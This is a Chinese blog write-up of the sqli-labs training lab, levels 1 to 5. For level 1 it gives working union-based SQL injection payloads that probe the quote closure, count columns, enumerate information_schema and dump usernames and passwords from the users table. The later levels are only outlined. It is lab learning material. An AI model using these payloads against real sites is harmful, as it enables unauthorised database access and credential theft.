首页 > 数据库 >sqli-labs

sqli-labs

时间:2024-11-16 22:09:42浏览次数:1  
标签:数据库 查询 labs sqli table id select schema

sqli-labs

Less-1

基于错误的GET单引号字符型注入

index.php分析

  • error_reporting(0); 不反馈错误
  • isset($_GET['id']) 检查($ _GET['id'])参数是否设置
  • LIMIT 0,1 从第一条开始记录,只取一条记录

1.推测闭合方式

?id=1\

输入\ ,后面是' ,推测是单引号闭合

输入 ?id=1' 报错

输入 ?id=1' --+ 不报错

证明是单引号闭合

2.查询列数(order by)

微信截图_20241111215357

证明一共有3列

?id=1' order by 3 --+

3.了解显示位(union select)

显示位指的是网页中能够显示数据的位置

已知表的列数为3,使用union select 1,2,3查看显示位

?id=-1' union select 1,2,3 --+

由此可知 2,3列是可以显示的

4.查询数据库

查询数据

  • database() 在用的数据库名
  • user() 用户信息
  • version() 数据库版本信息
  • @@basedir 数据库安装路径
  • @@version_compile_os 操作系统版本

?id=-1' union select 1,database(),user() --+

查询出在用的数据库名

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

查询出所有数据库名

  • information_schema数据库是MySQL自带的一个系统数据库,主要用于存储关于数据库和表的元数据信息‌

  • information_schema数据库的组成(主要的只读表)

    schemata 数据库名

    tables 表名和所属数据库

    columns 数据表中所有列名

  • group_concat()函数:将查询到的多行结果连接成字符串

5.查询数据表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

information_schema.tables的字段信息:

  • table_catalog:数据表登记目录
  • table_schema:数据表所属的数据库名
  • table_name:表名称
  • table_type:表类型(如系统视图或基础表)
  • engine:使用的数据库引擎(如 MyISAM、CSV、InnoDB)
  • version:版本,默认值为10
  • row_format:行格式(如 Compact、Dynamic、Fixed)

6.查询列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

7.查询内容

?id=-1' union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+

Less-2

基于错误的GET整型注入

1.判断闭合方式

2.判断列数

3.查看显示位

4.查询数据库

5.查询数据表

6.查询列名

7.查询数据

Less-3

基于错误的GET单引号变形注入

  • 表名,库名要加引号
  • 查询数据表时,后面要加where语句,表明在哪个数据库中
  • 查询列名时,where语句中,库名和表名之间要加and

Less-4

基于错误的GET双引号字符型注入

同上

Less-5

基于GET单引号双注入

标签:数据库,查询,labs,sqli,table,id,select,schema
From: https://www.cnblogs.com/xmt123/p/18549911

相关文章

  • SQLite 和 MySQL语法区别
    SQLite和MySQL在SQL语法上有一些差异,这些差异主要体现在数据类型、函数、表和索引的管理等方面。以下是一些主要的不同之处:1.数据类型SQLite支持的数据类型包括:TEXT, INTEGER, REAL, BLOB。动态类型系统,允许在插入时自动转换数据类型。MySQL支持更丰富的数据类型......
  • SQL注入【sqli靶场第11-14关】(三)
    SQL注入【sqli靶场第11-14关】(三)★★免责声明★★文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。0、总体思路先确认是否可以SQL注入,使用单双引号,1/0,括号测试'"1/0)......
  • 基于STM32的扫码取件系统设计思路:PWM、TCP/HTTP、SQLite等技术
    一、项目概述随着电子商务的迅猛发展,快递取件的智能化和便捷性需求日益增长。本项目旨在设计一款基于STM32F103C8T6单片机的扫码取件系统,结合语音播报模块、WiFi模块、显示模块、舵机控制电路和按键电路,实现高效、智能的取件功能。用户通过扫描二维码即可快速取件,同时系统......
  • [GXYCTF2019]BabySQli 1
    [GXYCTF2019]BabySQli1打开实例发现是个登录页,查看源代码未发现有效信息,admin登录,显示密码错误,发现参数name和pw查看源代码发现base编码解密发现是base32+base64混合编码,并发现解密后的SQL语句,判断注入点为usernameselect*fromuserwhereusername='$name'尝试万......
  • 文件包含漏洞——练习靶场lfi-labs
    目录 原理lfi-labs1lfi-labs2lfi-labs3lfi-labs4lfi-labs5lfi-lab6 原理文件包含:为了更好地使用代码重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码原因:在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量......
  • xss-labs-master靶机1-20关解题思路
    xss-labs-master靶机1-20关解题思路xss-labs-master靶机是xss-labs作者在github上发布的后来不知道为什么就把它删了,可能是因为这个靶机属于静态页面有一个通用的推广方式(具体在后面),不过还是希望读者使用实战中的攻击手段学习,这个靶机是对XSS漏洞的专项练习,一共有二十关,也是小......
  • [GXYCTF2019]BabySQli
    题目链接:[GXYCTF2019]BabySQli。个人认为这道题是脑洞题(当然也跟基础业务知识不够有关)。打开题目后环境如下。只有一个登录框,因此常规操作,先测试一下看看。通过多次输入不同的UserName、password发现,存在admin用户,并且可以遍历UserName。接下来尝试注入,发现似乎只有......
  • upload-labs
    upload-labs1-13upload-labs1-13upload-labs1-13pass-01pass-02pass-03pass-04pass-05pass-06pass-07pass-08pass-09pass-10pass-11pass-12pass-13pass-01首先我们新建文件a.php并用一句话木马<?php@eval($_POST['cmd']);?>然后我们上传1.php发现弹窗给出了白名......
  • Sqlite数据库操作
    publicclassSQLiteOperation{///<summary>///数据库位置///</summary>privatestaticreadonlystringFilePath=Environment.CurrentDirectory+@"\PARAM\SQLiteDatabase.db";publicSQLiteOperation(){......
  • delph12中创建sqlite数据库和表的过程
    varconn:TFDConnection;qry:TFDQuery;beginconn:=TFDConnection.Create(nil);tryconn.DriverName:='SQLite';conn.Params.Values['Database']:='C:\path\to\your\database.db3';//指定数据库文件路径conn.Connected:=True;qry......